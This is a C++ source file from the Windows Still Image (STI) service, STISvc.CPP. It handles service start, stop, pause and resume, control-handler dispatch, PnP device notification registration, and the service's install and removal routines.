/*++ ' Copyright (c) 1997 Microsoft Corporation Module Name: STISvc.CPP Abstract: Code for performing STI service related functions ( Start/Stop etc) It is separated from main process code make it possible to share process for multiple services ever needed Author: Vlad Sadovsky (vlads) 09-20-97 Environment: User Mode - Win32 Revision History: 22-Sep-1997 VladS created --*/ // // Include Headers // #include "precomp.h" #include "stiexe.h" #include "device.h" #include <stisvc.h> #include <regstr.h> #include <devguid.h> typedef LONG NTSTATUS; #include <svcs.h> extern HWND g_hStiServiceWindow; extern BOOL StiRefreshWithDelay( ULONG ulDelay, WPARAM wParam, LPARAM lParam); // // Delay in milliseconds to wait before processing PnP device event // #define DEVICEEVENT_WAIT_TIME 1000 // // Local variables and types definitions // // // Service status data // SERVICE_STATUS g_StiServiceStatus; // // Handle of registered service, used for updating running status // SERVICE_STATUS_HANDLE g_StiServiceStatusHandle; // // Initialization flag // BOOL g_fStiServiceInitialized = FALSE; // // What type of sink to use // #ifdef WINNT BOOL g_fUseServiceCtrlSink = TRUE; #else BOOL g_fUseServiceCtrlSink = FALSE; #endif // // Hidden service window // HWND g_hStiServiceWindow = NULL; // // Notification sink for PnP notifications // HDEVNOTIFY g_hStiServiceNotificationSink = NULL; // // Shutdown event // HANDLE hShutdownEvent = NULL; #ifdef WINNT // // Local prototypes // BOOL WINAPI InitializeNTSecurity( VOID ); BOOL WINAPI TerminateNTSecurity( VOID ); #endif // // Service status variable dispatch table // SERVICE_TABLE_ENTRY ServiceDispatchTable[] = { { STI_SERVICE_NAME, StiServiceMain }, { NULL, NULL } }; // // Code section // DWORD WINAPI UpdateServiceStatus( IN DWORD dwState, IN DWORD dwWin32ExitCode, IN DWORD dwWaitHint ) /*++ Description: Updates the local copy status of service controller status and reports it to the service controller. Arguments: dwState - New service state. dwWin32ExitCode - Service exit code. dwWaitHint - Wait hint for lengthy state transitions. Returns: NO_ERROR on success and returns Win32 error if failure. On success the status is reported to service controller. --*/ { const TCHAR* szStateDbgMsg[] = { TEXT("SERVICE_UNKNOWN "), // 0x00000000 TEXT("SERVICE_STOPPED "), // 0x00000001 TEXT("SERVICE_START_PENDING "), // 0x00000002 TEXT("SERVICE_STOP_PENDING "), // 0x00000003 TEXT("SERVICE_RUNNING "), // 0x00000004 TEXT("SERVICE_CONTINUE_PENDING "), // 0x00000005 TEXT("SERVICE_PAUSE_PENDING "), // 0x00000006 TEXT("SERVICE_PAUSED "), // 0x00000007 TEXT("SERVICE_UNKNOWN "), // 0x00000008 }; DWORD dwError = NO_ERROR; // // If state is changing - save the new one // if (dwState) { g_StiServiceStatus.dwCurrentState = dwState; } g_StiServiceStatus.dwWin32ExitCode = dwWin32ExitCode; g_StiServiceStatus.dwWaitHint = dwWaitHint; // // If we are in the middle of lengthy operation, increment checkpoint value // if ((g_StiServiceStatus.dwCurrentState == SERVICE_RUNNING) || (g_StiServiceStatus.dwCurrentState == SERVICE_STOPPED) ) { g_StiServiceStatus.dwCheckPoint = 0; } else { g_StiServiceStatus.dwCheckPoint++; } #ifdef WINNT // // Now update SCM running database // if ( g_fRunningAsService ) { DBG_TRC(("Updating service status. CurrentState=%S StateCode=%d", g_StiServiceStatus.dwCurrentState < (sizeof(szStateDbgMsg) / sizeof(TCHAR *)) ? szStateDbgMsg[g_StiServiceStatus.dwCurrentState] : szStateDbgMsg[0], g_StiServiceStatus.dwCurrentState)); if( !SetServiceStatus( g_StiServiceStatusHandle, &g_StiServiceStatus ) ) { dwError = GetLastError(); } else { dwError = NO_ERROR; } } #endif return ( dwError); } // UpdateServiceStatus() DWORD WINAPI StiServiceInitialize( VOID ) /*++ Routine Description: Service initialization, creates all needed data structures Nb: This routine has upper limit for execution time, so if it takes too much time separate thread will have to be created to queue initialization work Arguments: Return Value: None. --*/ { HRESULT hres; DWORD dwError; DBG_FN(StiServiceInitialize); #ifdef MAXDEBUG DBG_TRC(("Start service entered")); #endif g_StiFileLog->ReportMessage(STI_TRACE_INFORMATION, MSG_TRACE_SVC_INIT,TEXT("STISVC"),0); // // Create shutdown event. // hShutdownEvent = CreateEvent( NULL, // lpsaSecurity TRUE, // fManualReset FALSE, // fInitialState NULL ); // lpszEventName if( hShutdownEvent == NULL ) { dwError = GetLastError(); return dwError; } UpdateServiceStatus(SERVICE_START_PENDING,NOERROR,START_HINT); // // Initialize active device list // InitializeDeviceList(); // // Start RPC servicing // UpdateServiceStatus(SERVICE_START_PENDING,NOERROR,START_HINT); if (NOERROR != StartRpcServerListen()) { dwError = GetLastError(); DBG_ERR(("StiService failed to start RPC listen. ErrorCode=%d", dwError)); goto Cleanup; } #ifdef WINNT // // Allow setting window to foreground // dwError = AllowSetForegroundWindow(GetCurrentProcessId()); // ASFW_ANY DBG_TRC((" AllowSetForegroundWindow is called for id:%d . Ret code=%d. LastError=%d ", GetCurrentProcessId(), dwError, ::GetLastError())); #endif // // Create hidden window for receiving PnP notifications // if (!CreateServiceWindow()) { dwError = GetLastError(); DBG_ERR(("Failed to create hidden window for PnP notifications. ErrorCode=%d",dwError)); goto Cleanup; } #ifdef WINNT // // Initialize NT security parameters // InitializeNTSecurity(); #endif // No longer needed - the equivalent exists in CWiaDevMan // g_pDeviceInfoSet = new DEVICE_INFOSET(GUID_DEVCLASS_IMAGE); g_pDeviceInfoSet = NULL; // // Initiate device list refresh // //::PostMessage(g_hStiServiceWindow, // STIMON_MSG_REFRESH, // STIMON_MSG_REFRESH_REREAD, // STIMON_MSG_REFRESH_NEW | STIMON_MSG_REFRESH_EXISTING // | STIMON_MSG_BOOT // This shows this is the first device enumeration - no need to generate events // ); // // Finally we are running // g_fStiServiceInitialized = TRUE; UpdateServiceStatus(SERVICE_RUNNING,NOERROR,0); #ifdef MAXDEBUG g_EventLog->LogEvent(MSG_STARTUP, 0, (LPCSTR *)NULL); #endif g_StiFileLog->ReportMessage(STI_TRACE_INFORMATION,MSG_STARTUP); return NOERROR; Cleanup: // // Something failed , call stop routine to clean up // StiServiceStop(); return dwError; } // StiServiceInitialize VOID WINAPI StiServiceStop( VOID ) /*++ Routine Description: Stopping STI service Arguments: Return Value: None. --*/ { DBG_FN(StiServiceStop); DBG_TRC(("Service is exiting")); UpdateServiceStatus(SERVICE_STOP_PENDING,NOERROR,START_HINT); #ifdef WINNT // // Clean up PnP notification handles // if (g_hStiServiceNotificationSink && g_hStiServiceNotificationSink!=INVALID_HANDLE_VALUE) { UnregisterDeviceNotification(g_hStiServiceNotificationSink); g_hStiServiceNotificationSink = NULL; } for (UINT uiIndex = 0; (uiIndex < NOTIFICATION_GUIDS_NUM ); uiIndex++) { if (g_phDeviceNotificationsSinkArray[uiIndex] && (g_phDeviceNotificationsSinkArray[uiIndex]!=INVALID_HANDLE_VALUE)) { UnregisterDeviceNotification(g_phDeviceNotificationsSinkArray[uiIndex]); g_phDeviceNotificationsSinkArray[uiIndex] = NULL; } } #endif // // Stop item scheduler // SchedulerSetPauseState(TRUE); // // Destroy service window // if (g_hStiServiceWindow) { DestroyWindow(g_hStiServiceWindow); g_hStiServiceWindow = NULL; } #ifdef WINNT // // Free security objects // if(!TerminateNTSecurity()) { DBG_ERR(("Failed to clean up security objects")); } #endif // // Cancel all client calls // WiaEventNotifier *pOldWiaEventNotifier = g_pWiaEventNotifier; InterlockedCompareExchangePointer((VOID**)&g_pWiaEventNotifier, NULL, g_pWiaEventNotifier); if (pOldWiaEventNotifier) { delete pOldWiaEventNotifier; pOldWiaEventNotifier = NULL; } // Since using AsyncRPC, we would rather just exit the process than shut the RPC // server down. This is becuase even one outstanding AsyncRPC call // will cause a hang attempting to stop the RPC server. // It is much more preferable for us to just exit than introduce the // possiblility of a hang, so we'll just exit and let the OS clean up for us. // // Stop RPC servicing // //if(NOERROR != StopRpcServerListen()) { // DBG_ERR(("Failed to stop RpcServerListen")); //} // // Terminate device list // TerminateDeviceList(); // Destroy info set //if (g_pDeviceInfoSet) { // delete g_pDeviceInfoSet; // } // // Resume scheduling to allow for internal work items to complete // At this point all device related items should've been purged by // device object destructors // SchedulerSetPauseState(FALSE); // // Finish // g_fStiServiceInitialized = FALSE; #ifdef MAXDEBUG g_EventLog->LogEvent(MSG_STOP, 0, (LPCSTR *)NULL); #endif // // UnRegister the WiaDevice manager from the ROT // InitWiaDevMan(WiaUninitialize); // // Signal shutdown // SetEvent(hShutdownEvent); //UpdateServiceStatus(SERVICE_STOPPED,NOERROR,0); } // StiServiceStop VOID WINAPI StiServicePause( VOID ) /*++ Routine Description: Pausing STI service Arguments: Return Value: None. --*/ { DBG_FN(StiServicePause); // // System is suspending - take snapshot of currently active devices // UpdateServiceStatus(SERVICE_PAUSE_PENDING,NOERROR,PAUSE_HINT); if ( (g_StiServiceStatus.dwCurrentState == SERVICE_RUNNING) || (g_StiServiceStatus.dwCurrentState == SERVICE_PAUSE_PENDING) ){ // Stop running work items queue // // Nb: if refresh routine is scheduled to run as work item, this is a problem // SchedulerSetPauseState(TRUE); /* The equivalent done by HandlePowerEvent SendMessage(g_hStiServiceWindow, STIMON_MSG_REFRESH, STIMON_MSG_REFRESH_SUSPEND, STIMON_MSG_REFRESH_EXISTING ); */ } } // StiServicePause VOID WINAPI StiServiceResume( VOID ) /*++ Routine Description: Resuming STI service Arguments: Return Value: None. --*/ { DBG_FN(StiServiceResume); SchedulerSetPauseState(FALSE); PostMessage(g_hStiServiceWindow, STIMON_MSG_REFRESH, STIMON_MSG_REFRESH_RESUME, STIMON_MSG_REFRESH_NEW | STIMON_MSG_REFRESH_EXISTING ); UpdateServiceStatus(SERVICE_RUNNING,NOERROR,0); } // StiServiceResume ULONG WINAPI StiServiceCtrlHandler( IN DWORD dwOperation, DWORD dwEventType, PVOID EventData, PVOID pData ) /*++ Routine Description: STI service control dispatch function Arguments: SCM OpCode Return Value: None. --*/ { ULONG retval = NO_ERROR; DBG_TRC(("Entering CtrlHandler OpCode=%d",dwOperation)); switch (dwOperation) { case SERVICE_CONTROL_STOP: StiServiceStop(); break; case SERVICE_CONTROL_PAUSE: StiServicePause(); break; case SERVICE_CONTROL_CONTINUE: StiServiceResume(); break; case SERVICE_CONTROL_SHUTDOWN: StiServiceStop(); break; case SERVICE_CONTROL_PARAMCHANGE: // // Refresh device list. // g_pMsgHandler->HandleCustomEvent(SERVICE_CONTROL_PARAMCHANGE); break; case SERVICE_CONTROL_INTERROGATE: // Report current state and status UpdateServiceStatus(0,NOERROR,0); break; case SERVICE_CONTROL_DEVICEEVENT: // // PnP event. // // // Until our PnP issues are resolved, keep logging PnP events so we know // whether we received it or not... // DBG_WRN(("::StiServiceCtrlHandler, Received PnP event...")); g_pMsgHandler->HandlePnPEvent(dwEventType, EventData); break; case SERVICE_CONTROL_POWEREVENT: // // Power management event // retval = g_pMsgHandler->HandlePowerEvent(dwEventType, EventData); break; case STI_SERVICE_CONTROL_REFRESH: // // Refresh device list. // DBG_TRC(("::StiServiceCtrlHandler, Received STI_SERVICE_CONTROL_REFRESH")); g_pMsgHandler->HandleCustomEvent(STI_SERVICE_CONTROL_REFRESH); break; case STI_SERVICE_CONTROL_EVENT_REREAD: // // Refresh device list. // DBG_TRC(("::StiServiceCtrlHandler, Received STI_SERVICE_CONTROL_EVENT_REREAD")); g_pMsgHandler->HandleCustomEvent(STI_SERVICE_CONTROL_EVENT_REREAD); break; case STI_SERVICE_CONTROL_LPTENUM: // // Enumerate LPT port. // EnumLpt(); break; default: // Unknown opcode ; } DBG_TRC(("Exiting CtrlHandler")); return retval; } // StiServiceCtrlHandler BOOL RegisterServiceControlHandler() { DWORD dwError = 0; #ifdef WINNT g_StiServiceStatusHandle = RegisterServiceCtrlHandlerEx( STI_SERVICE_NAME, StiServiceCtrlHandler, (LPVOID)STI_SERVICE__DATA ); if(!g_StiServiceStatusHandle) { // Could not register with SCM dwError = GetLastError(); DBG_ERR(("Failed to register CtrlHandler,ErrorCode=%d",dwError)); return FALSE; } #endif return TRUE; } VOID WINAPI StiServiceMain( IN DWORD argc, IN LPTSTR *argv ) /*++ Routine Description: This is service main entry, that is called by SCM Arguments: Return Value: None. --*/ { DWORD dwError; DEV_BROADCAST_DEVICEINTERFACE PnPFilter; DBG_FN(StiServiceMain); #ifdef MAXDEBUG DBG_TRC(("StiServiceMain entered")); #endif // // REMOVE: This is not actually an error, but we will use error logging to gurantee // it always get written to the log. This should be removed as soon as we know what // causes #347835. // SYSTEMTIME SysTime; GetLocalTime(&SysTime); DBG_ERR(("*> StiServiceMain entered, Time: %d/%02d/%02d %02d:%02d:%02d:%02d", SysTime.wYear, SysTime.wMonth, SysTime.wDay, SysTime.wHour, SysTime.wMinute, SysTime.wSecond, SysTime.wMilliseconds)); g_StiServiceStatus.dwServiceType = STI_SVC_SERVICE_TYPE; g_StiServiceStatus.dwCurrentState = SERVICE_START_PENDING; g_StiServiceStatus.dwControlsAccepted= SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_PARAMCHANGE | SERVICE_ACCEPT_POWEREVENT; g_StiServiceStatus.dwWin32ExitCode = NO_ERROR; g_StiServiceStatus.dwServiceSpecificExitCode = NO_ERROR; g_StiServiceStatus.dwCheckPoint = 0; g_StiServiceStatus.dwWaitHint = 0; dwError = StiServiceInitialize(); if (NOERROR == dwError) { #ifdef WINNT if (g_fUseServiceCtrlSink && !g_hStiServiceNotificationSink) { DBG_WRN(("::StiServiceMain, About to register for PnP...")); // // Register for the PnP Device Interface change notifications // memset(&PnPFilter, 0, sizeof(PnPFilter)); PnPFilter.dbcc_size = sizeof(DEV_BROADCAST_DEVICEINTERFACE); PnPFilter.dbcc_devicetype = DBT_DEVTYP_DEVICEINTERFACE; PnPFilter.dbcc_reserved = 0x0; PnPFilter.dbcc_classguid = *g_pguidDeviceNotificationsGuid; //memcpy(&PnPFilter.dbcc_classguid, // (LPGUID) g_pguidDeviceNotificationsGuid, // sizeof(GUID)); g_hStiServiceNotificationSink = RegisterDeviceNotification( (HANDLE) g_StiServiceStatusHandle, &PnPFilter, DEVICE_NOTIFY_SERVICE_HANDLE ); if (NULL == g_hStiServiceNotificationSink) { // // Could not register with PnP - attempt to use window handle // g_fUseServiceCtrlSink = FALSE; } // // Separately from main Image interface , register list of optional device interfaces // we will monitor to allow parameters refresh. // for (UINT uiIndex = 0; (uiIndex < NOTIFICATION_GUIDS_NUM ) && (!::IsEqualGUID(g_pguidDeviceNotificationsGuidArray[uiIndex],GUID_NULL)); uiIndex++) { ::ZeroMemory(&PnPFilter, sizeof(PnPFilter)); PnPFilter.dbcc_size = sizeof(DEV_BROADCAST_DEVICEINTERFACE); PnPFilter.dbcc_devicetype = DBT_DEVTYP_DEVICEINTERFACE; PnPFilter.dbcc_reserved = 0x0; PnPFilter.dbcc_classguid = g_pguidDeviceNotificationsGuidArray[uiIndex]; g_phDeviceNotificationsSinkArray[uiIndex] = RegisterDeviceNotification( (HANDLE) g_StiServiceStatusHandle, &PnPFilter, DEVICE_NOTIFY_SERVICE_HANDLE ); DBG_TRC(("Registering optional interface #%d . Returned handle=%X", uiIndex,g_phDeviceNotificationsSinkArray[uiIndex])); } } #else // Windows 98 case g_fUseServiceCtrlSink = FALSE; #endif // // Service initialized , process command line arguments // BOOL fVisualize = FALSE; BOOL fVisualizeRequest = FALSE; TCHAR cOption; UINT iCurrentOption = 0; for (iCurrentOption=0; iCurrentOption < argc ; iCurrentOption++ ) { cOption = *argv[iCurrentOption]; // pszT = argv[iCurrentOption]+ 2 * sizeof(TCHAR); switch ((TCHAR)LOWORD(::CharUpper((LPTSTR)cOption))) { case 'V': fVisualizeRequest = TRUE; fVisualize = TRUE; break; case 'H': fVisualizeRequest = TRUE; fVisualize = FALSE; break; default: break; } if (fVisualizeRequest ) { VisualizeServer(fVisualizeRequest); } } // // Wait for shutdown processing messages. We make ourselves alertable so we // can receive Shell's Volume notifications via APCs. If we're woken // up to process the APC, then we must wait again. // while(WaitForSingleObjectEx(hShutdownEvent, INFINITE, TRUE) == WAIT_IO_COMPLETION); #ifndef WINNT //Don't use windows messaging on NT // // Close down message pump // if (g_dwMessagePumpThreadId) { // Indicate we are entering shutdown g_fServiceInShutdown = TRUE; PostThreadMessage(g_dwMessagePumpThreadId, WM_QUIT, 0, 0L ); } #endif CloseHandle( hShutdownEvent ); hShutdownEvent = NULL; } else { // Could not initialize service, service failed to start } // // REMOVE: This is not actually an error, but we will use error logging to gurantee // it always get written to the log. This should be removed as soon as we know what // causes #347835. // GetLocalTime(&SysTime); DBG_ERR(("<* StiServiceMain ended, Time: %d/%02d/%02d %02d:%02d:%02d:%02d", SysTime.wYear, SysTime.wMonth, SysTime.wDay, SysTime.wHour, SysTime.wMinute, SysTime.wSecond, SysTime.wMilliseconds)); return; } // StiServiceMain HWND WINAPI CreateServiceWindow( VOID ) /*++ Routine Description: Arguments: Return Value: None. --*/ { #ifndef WINNT //Don't use windows messaging on NT WNDCLASSEX wc; DWORD dwError; HWND hwnd = FindWindow(g_szStiSvcClassName,NULL); // Window should NOT exist at this time if (hwnd) { DPRINTF(DM_WARNING ,TEXT("Already registered window")); return NULL; } // // Create class // ZeroMemory(&wc, sizeof(wc)); wc.cbSize = sizeof(WNDCLASSEX); wc.style = CS_GLOBALCLASS; wc.lpfnWndProc = StiSvcWinProc; wc.cbClsExtra = 0; wc.cbWndExtra = 0; wc.hInstance = g_hInst; wc.hIcon = NULL; wc.hCursor = NULL; wc.hbrBackground = (HBRUSH) (COLOR_WINDOW+1); wc.lpszClassName = g_szStiSvcClassName; wc.lpszMenuName = MAKEINTRESOURCE(IDR_MENU); if (!RegisterClassEx(&wc)) { dwError = GetLastError(); if (dwError != ERROR_CLASS_ALREADY_EXISTS) { DBG_ERR(("Failed to register window class ErrorCode=%d",dwError)); return NULL; } } #ifndef WINNT #ifdef FE_IME // Disable IME processing on Millenium ImmDisableIME(::GetCurrentThreadId()); #endif #endif g_hStiServiceWindow = CreateWindowEx(0, // Style bits g_szStiSvcClassName, // Class name g_szTitle, // Title WS_DISABLED , // Window style bits CW_USEDEFAULT, // x CW_USEDEFAULT, // y CW_USEDEFAULT, // h CW_USEDEFAULT, // w NULL, // Parent NULL, // Menu g_hInst, // Module instance NULL); // Options if (!g_hStiServiceWindow) { dwError = GetLastError(); DBG_ERR(("Failed to create PnP window ErrorCode=%d"),dwError); } #else g_hStiServiceWindow = (HWND) INVALID_HANDLE_VALUE; #endif return g_hStiServiceWindow; } // CreateServiceWindow // // Installation routines. // They are here to simplify debugging and troubleshooting, called by switches // on command line // DWORD WINAPI StiServiceInstall( LPTSTR lpszUserName, LPTSTR lpszUserPassword ) /*++ Routine Description: Service installation function. Calls SCM to install STI service, which is running in user security context Arguments: Return Value: None. --*/ { DWORD dwError = NOERROR; #ifdef WINNT SC_HANDLE hSCM = NULL; SC_HANDLE hService = NULL; TCHAR szDisplayName[MAX_PATH]; // // Write the svchost group binding to stisvc // RegEntry SvcHostEntry(STI_SVC_HOST, HKEY_LOCAL_MACHINE); TCHAR szValue[MAX_PATH]; lstrcpy (szValue, STI_SERVICE_NAME); // REG_MULTI_SZ is double null terminated *(szValue+lstrlen(szValue)+1) = TEXT('\0'); SvcHostEntry.SetValue(STI_IMGSVC, STI_SERVICE_NAME, REG_MULTI_SZ); #endif // winnt // // Write parameters key for svchost // TCHAR szMyPath[MAX_PATH] = {0}; TCHAR szSvcPath[MAX_PATH] = SYSTEM_PATH; LONG lLen; LONG lNameIndex = 0; if (lLen = ::GetModuleFileName(g_hInst, szMyPath, sizeof(szMyPath)/sizeof(szMyPath[0]) - 1)) { RegEntry SvcHostParm(STI_SERVICE_PARAMS, HKEY_LOCAL_MACHINE); // // Get the name of the service file (not including the path) // for (lNameIndex = lLen; lNameIndex > 0; lNameIndex--) { if (szMyPath[lNameIndex] == '\\') { lNameIndex++; break; } } if (lNameIndex) { #ifndef WINNT // // Windows 98 specific entry // TCHAR szWinDir[MAX_PATH] = TEXT("\0"); if (!GetWindowsDirectory(szWinDir, MAX_PATH)) { DPRINTF(DM_ERROR ,TEXT("Error extracting Still Image service filename.")); return dwError; } lstrcat(szWinDir, SYSTEM_PATH); lstrcpy(szSvcPath, szWinDir); #endif lstrcat(szSvcPath, &szMyPath[lNameIndex]); SvcHostParm.SetValue(REGSTR_SERVICEDLL, szSvcPath, PATH_REG_TYPE); } else { DBG_ERR(("Error extracting Still Image service filename.")); } } else { DBG_ERR(("Failed to get my own path registering Still Image service . LastError=%d", ::GetLastError())); } // Add registry settings for event logging RegisterStiEventSources(); return dwError; } //StiServiceInstall DWORD WINAPI StiServiceRemove( VOID ) /*++ Routine Description: Service removal function. This function calls SCM to remove the STI service. Arguments: None. Return Value: Return code. Return zero for success --*/ { DWORD dwError = NOERROR; #ifdef WINNT SC_HANDLE hSCM = NULL; SC_HANDLE hService = NULL; SERVICE_STATUS ServiceStatus; UINT uiRetry = 10; __try { hSCM = ::OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS); if (!hSCM) { dwError = GetLastError(); __leave; } hService = OpenService( hSCM, STI_SERVICE_NAME, SERVICE_ALL_ACCESS ); if (!hService) { dwError = GetLastError(); __leave; } // // Stop service first // if (ControlService( hService, SERVICE_CONTROL_STOP, &ServiceStatus )) { // // Wait a little // Sleep( STI_STOP_FOR_REMOVE_TIMEOUT ); ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING; while( QueryServiceStatus( hService, &ServiceStatus ) && (SERVICE_STOP_PENDING == ServiceStatus.dwCurrentState)) { Sleep( STI_STOP_FOR_REMOVE_TIMEOUT ); if (!uiRetry--) { break; } } if (ServiceStatus.dwCurrentState != SERVICE_STOPPED) { dwError = GetLastError(); __leave; } } else { dwError = GetLastError(); // // ERROR_SERVICE_NOT_ACTIVE is fine, since it means that the service has // already been stopped. If the error is not ERROR_SERVICE_NOT_ACTIVE then // something has gone wrong, so __leave. // if (dwError != ERROR_SERVICE_NOT_ACTIVE) { __leave; } } if (!DeleteService( hService )) { dwError = GetLastError(); __leave; } else { DBG_TRC(("StiServiceRemove, removed STI service")); } } __finally { CloseServiceHandle( hService ); CloseServiceHandle( hSCM ); } #endif return dwError; } // StiServiceRemove VOID SvchostPushServiceGlobals( PSVCHOST_GLOBAL_DATA pGlobals ) { // // For now, we do nothing here. We will need to revisit when we run under // a shared SvcHost Group. // return; }
24.588471
135
0.557129
[ "object" ]
6ced29797c770b078aae80264a0289fc9bf4032f
697
cpp
C++
Leetcode/1000-2000/1599. Maximum Profit of Operating a Centennial Wheel/1599.cpp
Next-Gen-UI/Code-Dynamics
a9b9d5e3f27e870b3e030c75a1060d88292de01c
[ "MIT" ]
null
null
null
Leetcode/1000-2000/1599. Maximum Profit of Operating a Centennial Wheel/1599.cpp
Next-Gen-UI/Code-Dynamics
a9b9d5e3f27e870b3e030c75a1060d88292de01c
[ "MIT" ]
null
null
null
Leetcode/1000-2000/1599. Maximum Profit of Operating a Centennial Wheel/1599.cpp
Next-Gen-UI/Code-Dynamics
a9b9d5e3f27e870b3e030c75a1060d88292de01c
[ "MIT" ]
null
null
null
class Solution { public: int minOperationsMaxProfit(vector<int>& customers, int boardingCost, int runningCost) { int waiting = 0; int profit = 0; int maxProfit = 0; int rotate = 0; int maxRotate = -1; int i = 0; while (waiting > 0 || i < customers.size()) { if (i < customers.size()) waiting += customers[i++]; // onboard new customers const int newOnboard = min(waiting, 4); waiting -= newOnboard; profit += newOnboard * boardingCost - runningCost; ++rotate; if (profit > maxProfit) { maxProfit = profit; maxRotate = rotate; } } return maxRotate; } };
24.034483
70
0.552367
[ "vector" ]
6ceecec4f2e194188587218d1c0486a3bb88531d
3,212
cpp
C++
src/tree-automorphism.cpp
Nisiyama-Suzune/LMR
16325b9efcb71240111ac12ea55c0cb45b0c5834
[ "MIT" ]
48
2018-08-15T11:58:28.000Z
2022-02-08T23:38:29.000Z
src/tree-automorphism.cpp
Nisiyama-Suzune/LMR
16325b9efcb71240111ac12ea55c0cb45b0c5834
[ "MIT" ]
null
null
null
src/tree-automorphism.cpp
Nisiyama-Suzune/LMR
16325b9efcb71240111ac12ea55c0cb45b0c5834
[ "MIT" ]
8
2019-07-18T10:27:50.000Z
2021-06-08T13:03:47.000Z
#include <bits/stdc++.h> template <int MAXN = 100000, int MAXM = 200000> struct edge_list { int size, begin[MAXN], dest[MAXM], next[MAXM]; void clear (int n) { size = 0; std::fill (begin, begin + n, -1); } edge_list (int n = MAXN) { clear (n); } void add_edge (int u, int v) { dest[size] = v; next[size] = begin[u]; begin[u] = size++; } }; void euclid (const long long &a, const long long &b, long long &x, long long &y) { if (b == 0) x = 1, y = 0; else euclid (b, a % b, y, x), y -= a / b * x; } long long inverse (long long x, long long m) { long long a, b; euclid (x, m, a, b); return (a % m + m) % m; } long long mul_mod (long long x, long long y, long long mod) { long long t = (x * y - (long long) ((long double) x / mod * y + 1E-3) * mod) % mod; return t < 0 ? t + mod : t; } template <int MAXN = 100000, int MAXM = 200000, long long MOD = 1000000000000000003ll> struct tree_hash { static long long ra[MAXN]; tree_hash () { std::mt19937_64 mt (time (0)); std::uniform_int_distribution <long long> uid (0, MOD - 1); for (int i = 0; i < MAXN; ++i) ra[i] = uid (mt); } struct node { std::vector <long long> s; int d1, d2; long long h1, h2; node () { d1 = d2 = 0; } void add (int d, long long v) { s.push_back (v); if (d > d1) d2 = d1, d1 = d; else if (d > d2) d2 = d; } long long hash () { h1 = h2 = 1; for (long long i : s) { h1 = mul_mod (h1, ra[d1] + i, MOD); h2 = mul_mod (h2, ra[d2] + i, MOD); } return h1; } std::pair <int, long long> del (int d, long long v) { if (d == d1) return { d2 + 1, mul_mod (h2, inverse (ra[d2] + v, MOD), MOD) }; return { d1 + 1, mul_mod (h1, inverse (ra[d1] + v, MOD), MOD) }; } }; std::pair <int, long long> u[MAXN]; node tree[MAXN]; long long A[MAXN], B[MAXN]; void dfs1 (const edge_list <MAXN, MAXM> &e, int x, int p = -1) { tree[x] = node (); for (int i = e.begin[x]; ~i; i = e.next[i]) { int c = e.dest[i]; if (c != p) { dfs1 (e, c, x); tree[x].add (tree[c].d1 + 1, tree[c].h1); } } A[x] = tree[x].hash (); } void dfs2 (const edge_list <MAXN, MAXM> &e, int x, int p = -1) { if (~p) tree[x].add (u[x].first, u[x].second); B[x] = tree[x].hash (); for (int i = e.begin[x]; ~i; i = e.next[i]) { int c = e.dest[i]; if (c != p) { u[c] = tree[x].del (tree[c].d1 + 1, tree[c].h1); dfs2 (e, c, x); } } } void solve (const edge_list <MAXN, MAXM> &e, int root) { dfs1 (e, root); dfs2 (e, root); } }; template <int MAXN, int MAXM, long long MOD> long long tree_hash <MAXN, MAXM, MOD>::ra[MAXN]; edge_list <510000, 1100000> e; tree_hash <510000, 1100000> th; const int MOD = 1E9 + 7; int main () { int N; scanf ("%d", &N); for (int i = 0; i < N - 1; ++i) { int u, v; scanf ("%d%d", &u, &v); e.add_edge (u, v); e.add_edge (v, u); } th.solve (e, 1); int res = 1; for (int i = 1; i <= N; ++i) { static long long hash[510000]; int size = 0; for (int j = e.begin[i]; ~j; j = e.next[j]) { int u = e.dest[j]; if (th.B[i] == th.B[u] && i < u) res = res * 2 % MOD; hash[size++] = th.B[u]; } std::sort (hash, hash + size); for (int i = 1, lst = 1; i < size; ++i) if (hash[i] == hash[i - 1]) res = 1ll * res * ++lst % MOD; else lst = 1; } printf ("%d\n", res); }
37.788235
94
0.539851
[ "vector" ]
6cf71de1e7278d66b2ed81dd92fbf3cc65c7fbac
783
cpp
C++
JContainers/src/api_3/tes_api_3.cpp
SilverIce/JContainers
98ca31304a74e299d1f7f003602c55fb07e866ee
[ "MIT" ]
39
2015-01-16T09:17:05.000Z
2021-12-15T23:02:00.000Z
JContainers/src/api_3/tes_api_3.cpp
SilverIce/JContainers
98ca31304a74e299d1f7f003602c55fb07e866ee
[ "MIT" ]
26
2015-01-03T20:26:27.000Z
2019-12-30T22:46:15.000Z
JContainers/src/api_3/tes_api_3.cpp
SilverIce/JContainers
98ca31304a74e299d1f7f003602c55fb07e866ee
[ "MIT" ]
14
2015-10-23T08:46:01.000Z
2022-03-24T18:08:24.000Z
#include <sys/types.h> #include <sys/stat.h> #include <stdio.h> #include <errno.h> #include <sstream> #include <set> #include <thread> #include <array> #include <boost/filesystem.hpp> #include <boost/optional.hpp> #include <shlobj.h> #include "gtest.h" #include "util/util.h" #include "jcontainers_constants.h" #include "skse/string.h" #include "skse/papyrus_args.hpp" #include "object/object_context.h" #include "object/object_base.h" #include "collections/error_code.h" #include "collections/context.h" #include "collections/collections.h" #include "collections/json_serialization.h" #include "collections/copying.h" #include "collections/access.h" #include "collections/bind_traits.h" #include "collections/tests.h" #include "api_3/master.h" namespace collections { }
18.642857
43
0.752235
[ "object" ]
6cf722a00ec47665985a070bcc55935b4b7aa4e2
3,033
cpp
C++
leetcode/cpp/qt_find_leaves_of_binary_tree.cpp
qiaotian/CodeInterview
294c1ba86d8ace41a121c5ada4ba4c3765ccc17d
[ "WTFPL" ]
5
2016-10-29T09:28:11.000Z
2019-10-19T23:02:48.000Z
leetcode/cpp/qt_find_leaves_of_binary_tree.cpp
qiaotian/CodeInterview
294c1ba86d8ace41a121c5ada4ba4c3765ccc17d
[ "WTFPL" ]
null
null
null
leetcode/cpp/qt_find_leaves_of_binary_tree.cpp
qiaotian/CodeInterview
294c1ba86d8ace41a121c5ada4ba4c3765ccc17d
[ "WTFPL" ]
null
null
null
